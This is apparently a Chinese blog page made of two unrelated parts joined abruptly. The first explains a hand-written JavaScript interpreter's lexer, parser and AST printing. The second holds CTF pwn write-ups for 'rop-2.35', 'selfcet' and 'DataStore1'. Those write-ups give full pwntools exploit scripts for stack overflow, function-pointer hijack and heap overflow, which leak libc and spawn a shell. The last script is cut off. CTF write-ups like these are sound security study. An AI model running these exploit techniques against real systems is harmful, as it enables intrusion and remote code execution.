2
3
4
5
6
7
8
9
10
11
12
13
function add(a,b){
return a+b;
}
var a = 1;
var b = 2;
var c;
if(a > b){
c = add(a,b) * add(a,b);
}
else{
c = add(a,b) + add(a,b);
}
log(c);
  • 此时 token 就只是标识符,按照顺序排布,没有任何语法上的含义
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
[
Token { type: 'function', value: 'function' },
Token { type: 'identifier', value: 'add' },
Token { type: '(', value: null },
Token { type: 'identifier', value: 'a' },
Token { type: ',', value: null },
Token { type: 'identifier', value: 'b' },
Token { type: ')', value: null },
Token { type: '{', value: null },
Token { type: 'return', value: 'return' },
Token { type: 'identifier', value: 'a' },
Token { type: '+', value: null },
Token { type: 'identifier', value: 'b' },
Token { type: ';', value: null },
Token { type: '}', value: null },
Token { type: 'var', value: 'var' },
Token { type: 'identifier', value: 'a' },
Token { type: '=', value: null },
Token { type: 'number', value: 1 },
Token { type: ';', value: null },
Token { type: 'var', value: 'var' },
Token { type: 'identifier', value: 'b' },
Token { type: '=', value: null },
Token { type: 'number', value: 2 },
Token { type: ';', value: null },
Token { type: 'var', value: 'var' },
Token { type: 'identifier', value: 'c' },
Token { type: ';', value: null },
Token { type: 'if', value: 'if' },
Token { type: '(', value: null },
Token { type: 'identifier', value: 'a' },
Token { type: '>', value: null },
Token { type: 'identifier', value: 'b' },
Token { type: ')', value: null },
Token { type: '{', value: null },
Token { type: 'identifier', value: 'c' },
Token { type: '=', value: null },
Token { type: 'identifier', value: 'add' },
Token { type: '(', value: null },
Token { type: 'identifier', value: 'a' },
Token { type: ',', value: null },
Token { type: 'identifier', value: 'b' },
Token { type: ')', value: null },
Token { type: '*', value: null },
Token { type: 'identifier', value: 'add' },
Token { type: '(', value: null },
Token { type: 'identifier', value: 'a' },
Token { type: ',', value: null },
Token { type: 'identifier', value: 'b' },
Token { type: ')', value: null },
Token { type: ';', value: null },
Token { type: '}', value: null },
Token { type: 'else', value: 'else' },
Token { type: '{', value: null },
Token { type: 'identifier', value: 'c' },
Token { type: '=', value: null },
Token { type: 'identifier', value: 'add' },
Token { type: '(', value: null },
Token { type: 'identifier', value: 'a' },
Token { type: ',', value: null },
Token { type: 'identifier', value: 'b' },
Token { type: ')', value: null },
Token { type: '+', value: null },
Token { type: 'identifier', value: 'add' },
Token { type: '(', value: null },
Token { type: 'identifier', value: 'a' },
Token { type: ',', value: null },
Token { type: 'identifier', value: 'b' },
Token { type: ')', value: null },
Token { type: ';', value: null },
Token { type: '}', value: null },
Token { type: 'identifier', value: 'log' },
Token { type: '(', value: null },
Token { type: 'identifier', value: 'c' },
Token { type: ')', value: null },
Token { type: ';', value: null }
]

语法分析

各种语句的处理

需要处理的语句有如下几种:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
function statement(){
let tree=null,left=null;
let {token} = gData;
getNextToken();
while(true){
switch(token.type){
case tokenTypes.T_VAR:
case tokenTypes.T_ARGUMENT:
left = varDeclaration();
break;
case tokenTypes.T_IF:
left = ifStatement();
break;
case tokenTypes.T_WHILE:
left = whileStatement();
break;
case tokenTypes.T_FUN:
left = funStatement();
break;
case tokenTypes.T_RETURN:
left = returnStatement();
break;
case tokenTypes.T_EOF:
case tokenTypes.T_RBR:
case tokenTypes.T_RPT:
return tree;
default:
if(prefixParserMap[token.type]){
left = normalStatement();
}else{
printErr(`unknown Syntax:${token.type} , at ${gData.line} line`);
}
}
if(left !== null){
if(tree === null){
tree = left;
}else{
tree = new ASTNode().initTwoNode(ASTNodeTypes.T_GLUE,tree,left,null);
}
}
}
}

glue结点的使用

在语法分析生成 AST 的过程中,可能会遇到一些没有关键的并列语句:

1
2
3
4
5
var a = 1;
var b = 2;
var c = 3;
var d = 4;
var e = 5;

这些语句看似是并列结构,但解释器往往会将其理解成有着父子结点关系的树形结构:

1
2
3
4
5
6
glue
|----glue
| |----glue
| | |----glue
| | | |----a
e d c b
  • 解释器会先读取 var a = 1 进而生成 a 节点
  • 接着读取 var b = 2 生成 b 节点,然后创建 glue 节点作为 a b 的父节点

打印出的 AST 信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 || [_glue] (null),(null)
--- || [_glue] (null),(null)
------ || [_glue] (null),(null)
--------- || [_glue] (null),(null)
------------ || [_glue] (null),(null)
--------------- || [var] (a),(null)
--------------- || [=] (null),(null)
------------------ || [number] (1),(null)
------------------ || [leftValue] (a),(null)
------------ || [_glue] (null),(null)
--------------- || [var] (b),(null)
--------------- || [=] (null),(null)
------------------ || [number] (2),(null)
------------------ || [leftValue] (b),(null)
--------- || [_glue] (null),(null)
------------ || [var] (c),(null)
------------ || [=] (null),(null)
--------------- || [number] (3),(null)
--------------- || [leftValue] (c),(null)
------ || [_glue] (null),(null)
--------- || [var] (d),(null)
--------- || [=] (null),(null)
------------ || [number] (4),(null)
------------ || [leftValue] (d),(null)
--- || [_glue] (null),(null)
------ || [var] (e),(null)
------ || [=] (null),(null)
--------- || [number] (5),(null)
--------- || [leftValue] (e),(null)

列表结点的使用

在语法分析生成 AST 的过程中,可能会遇到没法简单处理成树形结构的数据:

1
2
3
4
5
function add(a,b,c,d,e){
return a+b+c+d+e;
}
var a = [1,2,3,4,5];
var test = add(1,2,3,4,5);
  • 由于 add(1,2,3,4,5) 中的参数必须分析为并列结构,因此这里需要使用列表来存储参数节点
  • 对于函数参数和列表都需要这种处理方式

打印出的 AST 信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 || [_glue] (null),(null)
--- || [_glue] (null),(null)
------ || [function] (add),(null)
--------- || [_glue] (null),(null)
------------ || [_glue] (null),(null)
--------------- || [_glue] (null),(null)
------------------ || [_glue] (null),(null)
--------------------- || [argument] (a),(0)
--------------------- || [argument] (b),(1)
------------------ || [argument] (c),(2)
--------------- || [argument] (d),(3)
------------ || [argument] (e),(4)
--------- || [return] (null),(null)
------------ || [+] (null),(null)
--------------- || [+] (null),(null)
------------------ || [+] (null),(null)
--------------------- || [+] (null),(null)
------------------------ || [identifier] (a),(null)
------------------------ || [identifier] (b),(null)
--------------------- || [identifier] (c),(null)
------------------ || [identifier] (d),(null)
--------------- || [identifier] (e),(null)
------ || [_glue] (null),(null)
--------- || [var] (a),(null)
--------- || [=] (null),(null)
------------ || [array] ([ [ASTNode], [ASTNode], [ASTNode], [ASTNode], [ASTNode] ]),(null)
------------ || [leftValue] (a),(null)
--- || [_glue] (null),(null)
------ || [var] (test),(null)
------ || [=] (null),(null)
--------- || [execute function] (add),(null)
------------ || [args] ([ [ASTNode], [ASTNode], [ASTNode], [ASTNode], [ASTNode] ]),(null)
--------- || [leftValue] (test),(null)

普拉特分析法处理表达式

Pratt Parsing 是一种循环与递归相结合的算法,需要对以下两种表达式进行处理:

  • 前缀表达式:一个操作符放在数字的前面(-a!a"a"[a] ……)
  • 中缀表达式:操作符在两个操作数的中间(a + ba * c ……)
1
2
3
4
5
6
7
8
9
10
11
function prefix(type){ /* 处理前缀 */
getNextToken();
let right = parseExpression(precedenceList.prefix);
putBackToken(gData.token);
return new ASTNode().initUnaryNode(type,right,null);
}

function infix(precedence,left,type){ /* 处理中缀 */
let right = parseExpression(precedence);
return new ASTNode().initTwoNode(type,left,right,null);
}
  • 前缀表达式的优先级往往是最高的
  • 这里的函数调用是一个例外:原本函数调用属于前缀表达式,但本程序在识别 token 时会将函数名识别为 identifier,将左括号识别为符号,将参数识别为 identifier,这样函数调用就被当成了中缀表达式

下面看两个例子:

1
2
3
4
5
6
7
8
9
10
var c = 7*8+9;
||_glue null null
---||var c null
---||= null null
------||+ null null
---------||* null null
------------||number 7 null
------------||number 8 null
---------||number 9 null
------||leftValue c null
  • + 优先级小于 *,因此 7 * 8 先回溯生成树,接着正常处理后续表达式生成 exp + 9 的树
1
2
3
4
5
6
7
8
9
10
11
var c = 7*(8+9);
||_glue null null
---||var c null
---||= null null
------||* null null
---------||number 7 null
---------||+ null null
------------||number 8 null
------------||number 9 null
------||leftValue c null

  • () 优先级小于 *,因此继续处理直到表达式结束后回溯,依次生成 8 + 97 * exp 的树

打印树形结构

基础版:

1
2
3
4
5
6
7
8
9
10
function printTree(ast,index) {
if (!ast) {
return;
}
console.log("%s || [%s] (%s)", Array(index+1).join("-"),ast.op,ast.value);
index+=3;
printTree(ast.left,index);
printTree(ast.mid,index);
printTree(ast.right,index);
}

优化版:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
let printTree = function (ast, pre=[" ──"]) {
if (!ast) {
return;
}
for (var i = 0; i < pre.length; i++) {
process.stdout.write(pre[i]);
}
console.log("[%s] (%s)", ast.op,ast.value);


var bac = pre[pre.length - 1];
if (pre[pre.length - 1] === " ├──") {
pre[pre.length - 1] = " │ ";
} else {
pre[pre.length - 1] = " ";
}

for (var i = 0; i < pre.length; i++) {
process.stdout.write(pre[i]);
}
if(ast.left || ast.mid || ast.right)
process.stdout.write(" │ ");
console.log();

pre.push(" ├──");

if(!ast.mid && !ast.right){
pre[pre.length - 1] = " └──";
}
printTree(ast.left,pre);
if(!ast.right){
pre[pre.length - 1] = " └──";
}
printTree(ast.mid,pre);
pre[pre.length - 1] = " └──";
printTree(ast.right,pre);

pre.pop();
pre[pre.length - 1] = bac;
}

优化版效果图:

1
2
3
4
5
6
7
8
function add(a,b){
return a+b;
}
var a = 1;
var b = 2;
var c = a + b*add(a,b);
log(c);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
──[_glue] (null)

├──[_glue] (null)
│ │
│ ├──[_glue] (null)
│ │ │
│ │ ├──[_glue] (null)
│ │ │ │
│ │ │ ├──[function] (add)
│ │ │ │ │
│ │ │ │ ├──[_glue] (null)
│ │ │ │ │ │
│ │ │ │ │ ├──[argument] (a)
│ │ │ │ │ │
│ │ │ │ │ └──[argument] (b)
│ │ │ │ │
│ │ │ │ └──[return] (null)
│ │ │ │ │
│ │ │ │ └──[+] (null)
│ │ │ │ │
│ │ │ │ ├──[identifier] (a)
│ │ │ │ │
│ │ │ │ └──[identifier] (b)
│ │ │ │
│ │ │ └──[_glue] (null)
│ │ │ │
│ │ │ ├──[var] (a)
│ │ │ │
│ │ │ └──[=] (null)
│ │ │ │
│ │ │ ├──[number] (1)
│ │ │ │
│ │ │ └──[leftValue] (a)
│ │ │
│ │ └──[_glue] (null)
│ │ │
│ │ ├──[var] (b)
│ │ │
│ │ └──[=] (null)
│ │ │
│ │ ├──[number] (2)
│ │ │
│ │ └──[leftValue] (b)
│ │
│ └──[_glue] (null)
│ │
│ ├──[var] (c)
│ │
│ └──[=] (null)
│ │
│ ├──[+] (null)
│ │ │
│ │ ├──[identifier] (a)
│ │ │
│ │ └──[*] (null)
│ │ │
│ │ ├──[identifier] (b)
│ │ │
│ │ └──[execute function] (add)
│ │ │
│ │ └──[args] ([ [ASTNode], [ASTNode] ])
│ │
│ └──[leftValue] (c)

└──[execute function] (log)

└──[args] ([ [ASTNode] ])

语义分析

处理函数调用

当遇到函数调用时,可能有如下3种情况:

  • 该函数是解释器内置的
  • 该函数是源程序定义的
  • 该函数没有定义

如果该函数是解释器内置的,解释器会尝试在 buildInMethods 中查找该函数:

1
2
3
4
5
6
7
8
if(buildInMethods[astNode.value]){
let arr = [];
let i=0;
while (typeof argument[i] !== "undefined"){
arr.push(argument[i]);
++i;
}
buildInMethods[astNode.value](...arr);

如果该函数是源程序定义的,解释器需要知道该函数的具体实现:

1
2
case ASTNodeTypes.T_FUNCALL:
return interpretFunCallAST(astNode,scope);

interpretFunCallAST 会设置 fnAST.option = "run" 并再次调用 interpretAST

1
2
3
4
childScope.set("arguments",argument,ASTNodeTypes.T_ARGUMENT);
let fnAST = scope.get(astNode.value).value;
fnAST.option = "run";
return interpretAST(fnAST,null,childScope);

再次调用 interpretAST 会进入 ASTNodeTypes.T_FUN 分支,并尝试解析该函数:

1
2
3
4
5
6
7
8
9
case ASTNodeTypes.T_FUN:
if(astNode.option === "run"){
astNode.option = "";
break;
}else{
scope.add(astNode.value);
scope.set(astNode.value,astNode,ASTNodeTypes.T_FUN);
return;
}
  • 若条件 astNode.option === "run" 成立,则代表了解释器遇到了函数调用,需要知道该函数的具体实现
  • 否则代表解释器遇到了一个新的函数,并将该函数记录在了 scope

后续的操作和处理 block 是相同的,整个过程的结果将会记录在 Scope 中并参与后续的解析

内置函数的设计

这里我一共写了3个内置函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function logIn(...argument){ /* 等同于console.log */
let arr = [];
let i=0;
while (typeof argument[i] !== "undefined"){
arr.push(argument[i] ? argument[i].value : argument[i]);
++i;
}
console.log(...arr);
}

function showIn(argument){ /* 打印Scope结构体数据 */
console.log(argument);
}

function treeIn(argument){ /* 打印astNode树形结构 */
printTree(argument.astnode);
}

效果如下:

1
2
3
4
5
6
7
8
9
10
11
12
function add(a,b){
return a+b;
}

var a = "a";
var b = "b";
var c = add(a,b);

tree(add);
show(a);
show(b);
log("result is :",c);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
 ──[function] (add)

├──[_glue] (null)
│ │
│ ├──[argument] (a)
│ │
│ └──[argument] (b)

└──[return] (null)

└──[+] (null)

├──[identifier] (a)

└──[identifier] (b)

{
_inner: true,
name: 'a',
value: 'a',
type: 'string',
astnode: ASTNode {
left: null,
mid: null,
right: null,
op: 'leftValue',
value: 'a',
option: null
}
}
{
_inner: true,
name: 'b',
value: 'b',
type: 'string',
astnode: ASTNode {
left: null,
mid: null,
right: null,
op: 'leftValue',
value: 'b',
option: null
}
}
result is : ab

rop-2.35

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
1
2
3
4
5
6
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=71bdaa4e6af292c2f768dad63ba43949ee801dcb, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Partial RELRO,NX

漏洞分析

简单栈溢出:

1
2
system("echo Enter something:");
return gets(buf, argv);

入侵思路

先起一个 docker,执行如下命令拷贝 libc 文件:

1
docker cp 61a471ee750d:/lib/x86_64-linux-gnu/libc.so.6 . 

先给出一个简单的脚本:

1
2
3
system_maigc = 0x401169
payload ="sh\x00"+"a"*0x15+p64(system_maigc)
sla("something:",payload)

唯一一个需要解决的问题就是 system 报错:

1
2
3
0x7ffff7de3963    movaps xmmword ptr [rsp], xmm1
0x7ffff7de3967 lock cmpxchg dword ptr [rip + 0x1cae11], edx
0x7ffff7de396f jne 0x7ffff7de3c20 <0x7ffff7de3c20>
  • 该汇编指令的含义为:从 xmm1 拷贝16字节的数据到 RSP
  • movaps xmmword 会检查栈是否对齐

解决完这个段错误后,system 还有可能不会执行,这是由于 RSP 上的地址最终指向了非“0”区域

1
2
*RSP  0x7fffffffdc80 —▸ 0x403e00 ◂— 0x0 /* 合法 */
*RSP 0x7fffffffdc50 ◂— 0x100000000 /* 不合法 */
  • 可以通过调整 gadget ret 的数目来调整 RSP 使其满足条件

另外写入的 ret 也不能过多,否则会破坏其后的关键数据(环境变量等)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './chall1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b* 0x401184\nb* 0x40116C\n")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()
start_addr = 0x401070
main_addr = 0x401182
system_got = 0x404018
system_maigc = 0x401169
bss_addr = 0x404600
gets_plt = 0x401060
gets_maigc = 0x401171
add_rsp_ret = 0x0000000000401016
ret = 0x000000000040101a

payload ="sh\x00".ljust(8,"\x00")+"\x00"*0x10+p64(ret)*30+p64(system_maigc)
sla("something:",payload)

p.interactive()

selfcet

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
1
2
3
4
5
6
xor: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6351f884825de925635334fd77a7aa091b2a8de2, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Full RELRO,Canary,NX

漏洞分析

栈溢出漏洞:

1
2
read_member(&cxt, 0LL, 0x58uLL);
read_member(&cxt, 0x20LL, 0x58uLL);

可以覆盖函数指针:

1
2
3
4
5
6
if ( cxt->status )
{
if ( _byteswap_ulong(*(_DWORD *)cxt->func) != 0xF30F1EFA )
BUG();
((void (__fastcall *)(_QWORD, char *))cxt->func)((unsigned int)cxt->status, cxt->error);
}

入侵思路

位于 cxt->func 的函数指针可以被覆盖,但对覆盖后的地址有一定的检查,经过查找只有以下4处地址符合条件:

1
2
3
4
5
6
pwndbg> search -t dword 0xFA1E0FF3
Searching for value: b'\xf3\x0f\x1e\xfa'
xor1 0x401000 endbr64
xor1 0x4010c0 endbr64
xor1 0x4010f0 endbr64
xor1 0x4012b0 endbr64

还有一种方法就是将 err 覆盖低位变为其他 libc function,其中最好的目标就是 puts:(爆破概率为 1/4096)

1
2
3
4
5
pwndbg> telescope 0x7ffff7e13ed0
00:00000x7ffff7e13ed0 (puts) ◂— endbr64
01:00080x7ffff7e13ed8 (puts+8) ◂— push r12
02:00100x7ffff7e13ee0 (puts+16) ◂— sub esp, 0x10
03:00180x7ffff7e13ee8 (puts+24) ◂— mov r13, qword ptr [rip

但如果最后要打 system 会遇到莫名其妙的错误:

1
2
3
0x7ffff7e7e0f0 <execve>       endbr64 
0x7ffff7e7e0f4 <execve+4> mov eax, 0x3b
0x7ffff7e7e0f9 <execve+9> syscall
  • 返回值为 0xfffffffffffffff2,表示一个未定义的错误
  • 猜测大概率是环境变量的问题

想要解决这个问题就要直接执行 execve,并将环境变量设置为 “0”,但由于程序使用 edi 导致 libc 中的 /bin/sh 地址不能写入:

1
2
3
.text:00000000004011A8 89 C7                         mov     edi, eax
.text:00000000004011AA B8 00 00 00 00 mov eax, 0
.text:00000000004011AF FF D1 call rcx

因此这里先选择用 libc_start_main 重新执行程序,然后通过 gets 往可控地址中写入 /bin/sh,最后执行一个 execve 就可以了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './xor1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b* 0x4011AF\n")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sla(">",str(op))

main_addr = 0x401209
bss_addr = 0x404010 + 0x100
write_got = 0x403FD0
strcspn_got = 0x403FE0
magic_addr = 0x4010F0

payload = "1"*0x20+"2"*0x20+p64(write_got)+p64(write_got)+p16(0x3ed0)+p8(0xe1)
p.send(payload)

leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x114a20
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system_libc = libc_base + libc.sym["system"]
execve_libc = libc_base + libc.sym["execve"]
libc_start_main = libc_base + libc.sym["__libc_start_main"]
write_libc = libc_base + libc.sym["write"]
printf_libc = libc_base + libc.sym["printf"]
gets_libc = libc_base + libc.sym["gets"]
puts_libc = libc_base + libc.sym["puts"]
dup2_libc = libc_base + libc.sym["dup2"]
bin_sh_libc = libc_base + 0x1d8698
canary_libc = libc_base - 0x2897
success("system_libc >> "+hex(system_libc))
success("dup2_libc >> "+hex(dup2_libc))

payload = "2"*0x20+p64(main_addr)+p64(main_addr)+p64(libc_start_main)
p.send(payload)

#debug()

payload = "1"*0x20+"2"*0x20+p64(bss_addr)+p64(bss_addr)+p64(gets_libc)
p.send(payload)
sleep(0.1)
sl("/bin/sh\x00")
sleep(0.1)

payload = "2"*0x20+p64(0)+p64(bss_addr)+p64(execve_libc)
p.send(payload)

p.interactive()

DataStore1

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
1
2
3
4
5
6
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f7db7c5af40bd044bf0bc48be35bc65a1d1a08a0, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

程序分析

本题目给了源码:

  • create 模块会要求输入 Type 以表示数据的类型
  • edit 模块会根据不同的 Type 来调用不同的函数

程序中有一句 scanf("%70m[^\n]%*c", &buf),它的基础逻辑就是读取最多70字节到 buf,但在内存中程序会先申请 0x70 大小的 chunk,然后调用 realloc 将其调整为合适大小的 chunk:

1
2
3
Allocated chunk | PREV_INUSE
Addr: 0x55bfa12cb3c0
Size: 0x71
1
2
3
4
5
6
7
8
Free chunk (tcache) | PREV_INUSE
Addr: 0x55bfa12cb3e0
Size: 0x51
fd: 0x55bfa12cb

Allocated chunk | PREV_INUSE
Addr: 0x55bfa12cb430
Size: 0x21

漏洞分析

有 UAF 漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static int remove_recursive(data_t *data){
if(!data)
return -1;

switch(data->type){
case TYPE_ARRAY:
{
arr_t *arr = data->p_arr;
for(int i=0; i<arr->count; i++)
if(remove_recursive(&arr->data[i]))
return -1;
free(arr);
}
break;
case TYPE_STRING:
{
str_t *str = data->p_str;
free(str->content);
free(str);
}
break;
}
data->type = TYPE_EMPTY;

return 0;
}

堆溢出漏洞:

1
2
3
unsigned idx = getint();
if(idx > arr->count)
return -1;

入侵思路

核心思路就是利用堆溢出来修改相邻下一个 chunk 的数据:

1
2
3
4
5
add("a",0x6)
arr_update(0,"a",0x6)
arr_update(1,"a",0x6)
arr_delete(0x6)
arr_update(0x6,"v","64")
  • 如果数据类型为 array,则程序会在 chunk 的第一片8字节空间中写入该 array 的大小
  • 利用堆溢出可以修改 array->size,从而引发更大范围的堆溢出

下面是泄露堆地址的样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
add("a",0x6)
arr_update(0,"a",0x6) # array0
arr_update(1,"v","a"*8) # string1
arr_update(2,"a",0x10) # array2
arr_delete2(0,6)
arr_delete(0x6)
arr_update(0x6,"v","8")
arr_update2(0,6,"v","a"*8)
cmd(2)
ru("[01] <S> ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x540
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))
  • 通过堆溢出扩大 array0->size,从而使其可以访问到 string1->data
  • 通过 arr_update2(0,6,"a",0x10) 申请 array1-6 实际上溢出到了 string1->data 的区域,并往 string1->data 中写入了一个堆地址

现在可以通过修改 string1->data 来间接修改 array1-6,接着我们需要释放大量 chunk 以得到 unsorted chunk,并伪造好 array1-6 的结构,再次打印时就可以泄露 libc_base 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for i in range(10):
arr_update2(2,i,"a",0x10)
for i in range(9):
arr_delete2(2,i)

arr_update2(2,10,"v",str(heap_base+0xe00))
str_update(1,p64(heap_base+0x4e0-8))

#debug()

cmd(2)
ru("[06] <S> ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x219ce0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

完成泄露以后,我们可以劫持 libc GOT,在 realloc@got[plt] 中写入 system 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './chall1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p,"b* 0x401184\nb* 0x40116C\n")
gdb.attach(p,"b *$rebase(0x17F3)\n")
#pause()

def cmd(op):
sla(">",str(op))

def add(type,data):
cmd(1)
sla(">",type)
if(type == "a"):
sla("input size:",str(data))
else:
sla("input value:",data)

"""
1. Update
2. Delete
"""

def arr_update(index,type,data):
cmd(1)
sla("index:",str(index))
sla(">","1")
sla(">",type)
if(type == "a"):
sla("input size:",str(data))
else:
sla("input value:",data)

def arr_delete(index):
cmd(1)
sla("index:",str(index))
sla(">","2")

def arr_update2(index,index2,type,data):
cmd(1)
sla("index:",str(index))
cmd(1)
sla("index:",str(index2))
sla(">","1")
sla(">",type)
if(type == "a"):
sla("input size:",str(data))
else:
sla("input value:",data)

def arr_delete2(index,index2):
cmd(1)
sla("index:",str(index))
cmd(1)
sla("index:",str(index2))
sla(">","2")

def str_update(index,data):
cmd(1)
sla("index:",str(index))
sla(">","1")
sa("bytes):",data)

def str_update2(index,index2,data):
cmd(1)
sla("index:",str(index))
cmd(1)
sla("index:",str(index2))
sla(">","1")
sa("bytes):",data)

add("a",0x6)
arr_update(0,"a",0x6)
